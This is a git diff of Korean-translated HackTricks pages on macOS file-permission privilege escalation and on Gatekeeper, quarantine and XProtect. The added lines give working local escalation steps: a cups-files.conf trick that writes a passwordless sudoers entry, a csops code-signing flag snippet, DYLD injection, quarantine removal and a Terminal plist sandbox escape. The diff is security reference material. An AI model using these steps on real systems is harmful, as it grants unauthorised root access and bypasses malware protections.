- 경로의 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다. @@ -24,16 +24,22 @@ ### 폴더 루트 R+X 특별 사례 -**루트만 R+X 접근 권한**을 가진 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다. +**루트만 R+X 접근 권한**이 있는 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다. 예시: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) ## 심볼릭 링크 / 하드 링크 -특권 프로세스가 **하위 특권 사용자**에 의해 **제어**될 수 있는 **파일**에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 **이전에 생성된** 파일에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓰게 됩니다. +### 관대한 파일/폴더 + +특권 프로세스가 **하위 특권 사용자**에 의해 **제어**될 수 있는 **파일**에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 **이전에 생성된** 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓰게 됩니다. 공격자가 **임의 쓰기를 악용하여 권한을 상승**시킬 수 있는 다른 섹션을 확인하십시오. +### Open `O_NOFOLLOW` + +`open` 함수에서 사용되는 플래그 `O_NOFOLLOW`는 마지막 경로 구성 요소에서 심볼릭 링크를 따르지 않지만, 나머지 경로는 따릅니다. 경로에서 심볼릭 링크를 따르지 않도록 방지하는 올바른 방법은 `O_NOFOLLOW_ANY` 플래그를 사용하는 것입니다. + ## .fileloc **`.fileloc`** 확장자를 가진 파일은 다른 애플리케이션이나 바이너리를 가리킬 수 있으므로, 열릴 때 애플리케이션/바이너리가 실행됩니다.\ @@ -50,11 +56,15 @@ ``` -## 임의 FD +## 파일 설명자 -**프로세스가 높은 권한으로 파일이나 폴더를 열 수 있다면**, **`crontab`**을 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`의 파일을 열 수 있습니다. 이렇게 하면 `exploit.py`가 `/etc/sudoers` 내의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다. +### FD 누수 (no `O_CLOEXEC`) -예: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) +`open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 권한이 있는 프로세스가 권한이 있는 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **권한이 있는 파일에 대한 FD를 상속받게 됩니다**. + +**높은 권한으로 파일이나 폴더를 열도록 프로세스를 만들 수 있다면**, **`crontab`**를 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`에 있는 파일을 열 수 있습니다. 그러면 `exploit.py`는 `/etc/sudoers` 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다. + +예를 들어: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), 코드: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging ## 격리 xattrs 트릭 피하기 @@ -64,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app ``` ### uchg / uchange / uimmutable 플래그 -파일/폴더에 이 불변 속성이 있으면 xattr를 설정할 수 없습니다. +파일/폴더에 이 불변 속성이 설정되어 있으면 xattr를 추가할 수 없습니다. ```bash echo asd > /tmp/asd chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd" @@ -112,7 +122,7 @@ ls -le /tmp/test **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다. -[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 zip 파일로 애플리케이션을 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다: +[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식의 zip 파일로 압축했다면... 애플리케이션에 격리 xattr가 설정되지 않았습니다: 자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요. @@ -136,17 +146,38 @@ ls -le test ``` (작동하더라도 샌드박스는 먼저 격리 xattr를 작성합니다) -그다지 필요하지는 않지만 혹시 모르니 남겨둡니다: +정확히 필요하지는 않지만 혹시 모르니 남겨둡니다: {{#ref}} macos-xattr-acls-extra-stuff.md {{#endref}} +## 서명 검사 우회 + +### 플랫폼 바이너리 검사 우회 + +일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 설명된 바와 같이, 플랫폼 바이너리(예: /bin/ls)를 가져와서 `DYLD_INSERT_LIBRARIES` 환경 변수를 사용하여 dyld를 통해 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다. + +### 플래그 `CS_REQUIRE_LV` 및 `CS_FORCED_LV` 우회 + +실행 중인 바이너리가 자신의 플래그를 수정하여 다음과 같은 코드로 검사를 우회할 수 있습니다: +```c +// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ +int pid = getpid(); +NSString *exePath = NSProcessInfo.processInfo.arguments[0]; + +uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +status |= 0x2000; // CS_REQUIRE_LV +csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS + +status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); +``` ## 코드 서명 우회 -번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일은 **번들** 내의 모든 **파일**의 **해시**를 포함합니다. CodeResources의 해시는 **실행 파일**에도 **내장**되어 있으므로, 그것을 건드릴 수 없습니다. +번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일에는 **번들** 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시도 **실행 파일**에 **내장**되어 있으므로, 우리는 그것을 건드릴 수 없습니다. -그러나 서명이 확인되지 않는 몇 가지 파일이 있으며, 이 파일들은 plist에서 omit 키를 가지고 있습니다. +그러나 서명이 확인되지 않는 일부 파일이 있으며, 이러한 파일은 plist에서 omit 키를 가지고 있습니다. ```xml ... @@ -230,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg ### 데몬 -임의의 스크립트를 실행하는 plist로 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 임의의 **LaunchDaemon**을 작성합니다: +임의의 **LaunchDaemon**을 작성하여 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 plist를 사용하여 임의의 스크립트를 실행하도록 합니다: ```xml @@ -247,7 +278,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg ``` -`/Applications/Scripts/privesc.sh`를 생성하고 **루트**로 실행하고 싶은 **명령어**를 입력하세요. +`/Applications/Scripts/privesc.sh` 파일을 생성하고 **루트**로 실행하고 싶은 **명령어**를 입력하세요. ### Sudoers 파일 @@ -255,13 +286,33 @@ hdiutil create -srcfolder justsome.app justsome.dmg ### PATH 파일 -**`/etc/paths`** 파일은 PATH env 변수를 채우는 주요 장소 중 하나입니다. 이를 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**에서 **전체 경로 없이** 명령어를 실행하는 스크립트가 있다면, 이 파일을 수정하여 **하이재킹**할 수 있습니다. +**`/etc/paths`** 파일은 PATH env 변수를 채우는 주요 장소 중 하나입니다. 이를 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**의 스크립트가 **전체 경로 없이** 어떤 **명령어**를 실행하고 있다면, 이 파일을 수정하여 **하이재킹**할 수 있습니다. -또한 **`/etc/paths.d`**에 파일을 작성하여 새로운 폴더를 `PATH` env 변수에 로드할 수 있습니다. +또한 **`/etc/paths.d`**에 파일을 작성하여 `PATH` env 변수에 새로운 폴더를 추가할 수 있습니다. + +### cups-files.conf + +이 기술은 [이 글](https://www.kandji.io/blog/macos-audit-story-part1)에서 사용되었습니다. + +다음 내용을 포함하여 `/etc/cups/cups-files.conf` 파일을 생성하세요: +``` +ErrorLog /etc/sudoers.d/lpe +LogFilePerm 777 + +``` +이것은 `/etc/sudoers.d/lpe` 파일을 777 권한으로 생성합니다. 끝에 있는 추가 쓰레기는 오류 로그 생성을 트리거하기 위한 것입니다. + +그런 다음, `/etc/sudoers.d/lpe`에 `%staff ALL=(ALL) NOPASSWD:ALL`과 같은 권한 상승에 필요한 구성을 작성합니다. + +그런 다음, `/etc/cups/cups-files.conf` 파일을 다시 수정하여 `LogFilePerm 700`을 지정하여 새로운 sudoers 파일이 `cupsctl`을 호출할 때 유효해지도록 합니다. + +### 샌드박스 탈출 + +FS 임의 쓰기를 통해 macOS 샌드박스를 탈출하는 것이 가능합니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 그러나 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다. ## 다른 사용자로서 쓰기 가능한 파일 생성 -이것은 루트에 속하지만 내가 쓸 수 있는 파일을 생성합니다 ([**여기서 코드**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 privesc로도 작동할 수 있습니다: +이것은 내가 쓸 수 있는 루트 소유의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -275,7 +326,7 @@ echo $FILENAME ``` ## POSIX 공유 메모리 -**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()`과 `close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거합니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다. +**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()`과 `close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거할 수 있습니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index f482688bc..f323f263c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,35 +2,31 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Gatekeeper **Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 **신뢰할 수 있는 소프트웨어만** 시스템에서 실행하도록 보장합니다. 이는 사용자가 **App Store 외부의 소스**에서 다운로드하고 열려고 시도하는 소프트웨어를 **검증**함으로써 작동합니다. 예를 들어 앱, 플러그인 또는 설치 패키지가 있습니다. -Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션**되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다. +Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션(notarised)** 되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다. 또한, Gatekeeper는 **사용자가 다운로드한 소프트웨어를 처음 열 때 승인하도록 요청**하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무해한 데이터 파일로 착각할 수 있는 잠재적으로 해로운 실행 코드를 실수로 실행하는 것을 방지하는 데 도움을 줍니다. ### Application Signatures -애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**하고 코드가 마지막으로 서명된 이후로 변조되지 않았음을 보장하는 데 사용됩니다. +애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**(개발자)하고 코드가 마지막으로 서명된 이후 변조되지 않았음을 보장하는 데 사용됩니다. 작동 방식은 다음과 같습니다: -1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서**와 연결되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다. +1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서와 연결되어 있습니다**. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다. 2. **애플리케이션 배포:** 서명된 애플리케이션은 개발자의 인증서와 함께 사용자에게 배포되며, 이 인증서에는 해당 공개 키가 포함되어 있습니다. 3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미하며**, 시스템은 애플리케이션 실행을 허용합니다. 애플리케이션 서명은 Apple의 Gatekeeper 기술의 필수적인 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도할 때**, Gatekeeper는 애플리케이션 서명을 검증합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변조되지 않았다면, Gatekeeper는 애플리케이션 실행을 허용합니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다. -macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해 노타리제이션되었는지 여부도 확인**하여 추가 보안 계층을 추가합니다. 노타리제이션 프로세스는 애플리케이션에서 알려진 보안 문제와 악성 코드를 검사하며, 이러한 검사가 통과하면 Apple은 Gatekeeper가 검증할 수 있는 티켓을 애플리케이션에 추가합니다. +macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해 노타리제이션되었는지**도 확인하여 추가 보안 계층을 추가합니다. 노타리제이션 프로세스는 애플리케이션에서 알려진 보안 문제와 악성 코드를 검사하며, 이러한 검사가 통과하면 Apple은 Gatekeeper가 검증할 수 있는 티켓을 애플리케이션에 추가합니다. #### Check Signatures -일부 **악성 샘플**을 확인할 때는 항상 **서명**을 확인해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련이 있을 수 있습니다.** +일부 **악성 샘플**을 확인할 때는 항상 **서명을 확인**해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련**이 있을 수 있습니다. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -49,11 +45,11 @@ codesign -s toolsdemo ``` ### Notarization -Apple의 인증 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전 장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 Notary Service**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명과 관련된 잠재적인 문제를 검사하는 **자동화된 시스템**입니다. +Apple의 노타리제이션 프로세스는 사용자들을 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 Notary Service**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명 관련 잠재적 문제를 검사하는 **자동화된 시스템**입니다. -소프트웨어가 우려 사항 없이 이 검사를 **통과**하면, Notary Service는 인증 티켓을 생성합니다. 개발자는 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 인증 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다. +소프트웨어가 이 검사를 통과하고 우려 사항이 없으면, Notary Service는 노타리제이션 티켓을 생성합니다. 개발자는 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다. -사용자가 소프트웨어를 처음 설치하거나 실행할 때, 인증 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 인증되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠에 대한 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다. +사용자가 소프트웨어를 처음 설치하거나 실행할 때, 노타리제이션 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 노타리제이션되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다. ### spctl & syspolicyd @@ -88,10 +84,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID [...] ``` -**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework`의 `SecAssessment*`** API를 사용하여 접근할 수 있습니다. **`xpctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다. +**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework`의 `SecAssessment*`** API를 통해 접근할 수 있고, **`xpctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다. 첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나는 점에 주목하세요. 이전 이미지에서는 **App Store 및 식별된 개발자**의 앱을 실행할 수 있도록 **활성화**되어 있었습니다.\ -그 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**. +해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**. 또한 **type GKE**의 수천 개의 규칙이 있습니다: ```bash @@ -126,7 +122,7 @@ spctl --master-enable
-**앱이 GateKeeper에 의해 허용될지 확인할 수 있습니다**: +**GateKeeper에 의해 앱이 허용될지 확인할 수 있습니다**: ```bash spctl --assess -v /Applications/App.app ``` @@ -153,9 +149,9 @@ spctl --assess -v /Applications/App.app **격리 플래그의 존재는 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능을 신호합니다.** -**격리 플래그가 없는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이) Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다. +**격리 플래그가 존재하지 않는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다. -> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 과정은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적** 프로세스입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 전체 코드 서명 및 인증 확인은 **앱이 실행될 때마다 수행하기에는 비현실적입니다**. +> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 것은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적인** 과정입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 전체 코드 서명 및 인증 확인은 **앱이 실행될 때마다 수행하기에는 비현실적입니다**. > > 따라서 이러한 검사는 **격리 속성이 있는 앱을 실행할 때만 수행됩니다.** @@ -181,7 +177,7 @@ xattr file.png com.apple.macl com.apple.quarantine ``` -확인하십시오 **값** 의 **확장된** **속성** 및 찾으십시오 격리 속성을 작성한 앱: +확장된 속성의 **값**을 확인하고 다음과 같이 격리 속성을 작성한 앱을 찾으십시오: ```bash xattr -l portada.png com.apple.macl: @@ -283,20 +279,20 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri #### **Quarantine.kext** -커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이 키트에는 확장의 기호화된 버전이 포함되어 있습니다. +커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이 키트는 확장의 기호화된 버전을 포함합니다. -이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로챕니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 방지합니다. +이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로채기 위해 사용됩니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 방지합니다. 또한 몇 가지 MIB를 사용합니다: -- `security.mac.qtn.sandbox_enforce`: 샌드박스와 함께 격리 강제 적용 -- `security.mac.qtn.user_approved_exec`: 격리된 프로세스는 승인된 파일만 실행할 수 있습니다 +- `security.mac.qtn.sandbox_enforce`: 샌드박스와 함께 격리를 시행 +- `security.mac.qtn.user_approved_exec`: 격리된 프로세스는 승인된 파일만 실행할 수 있음 ### XProtect -XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **응용 프로그램이 처음 실행되거나 수정될 때 알려진 맬웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스의 알려진 맬웨어와 일치하는 경우, XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다. +XProtect는 macOS에 내장된 **안티멀웨어** 기능입니다. XProtect는 **애플리케이션이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 멀웨어와 일치하면 XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다. -XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며, 새로운 맬웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다. +XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며, 새로운 멀웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다. 그러나 **XProtect는 완전한 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 검사하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다. @@ -304,27 +300,27 @@ XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트** ```bash system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 ``` -XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치한 SIP 보호 위치에 있으며, 번들 내부에서 XProtect가 사용하는 정보를 찾을 수 있습니다: +XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치하며, 번들 안에는 XProtect가 사용하는 정보가 있습니다: - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 해당 cdhashes를 가진 코드가 레거시 권한을 사용할 수 있도록 허용합니다. - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID를 통해 로드가 금지된 플러그인 및 확장 목록 또는 최소 버전을 나타냅니다. - **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 맬웨어를 탐지하기 위한 Yara 규칙입니다. -- **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 애플리케이션 및 TeamIDs의 해시가 포함된 SQLite3 데이터베이스입니다. +- **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 애플리케이션 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다. -**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에 XProtect와 관련된 또 다른 앱이 있지만, 이는 Gatekeeper 프로세스와 관련이 없습니다. +**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에는 Gatekeeper 프로세스와 관련이 없는 XProtect와 관련된 또 다른 앱이 있다는 점에 유의하세요. -### Gatekeeper 아님 +### Not Gatekeeper > [!CAUTION] > Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다**. 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명**을 확인합니다. -따라서 이전에는 앱을 실행하여 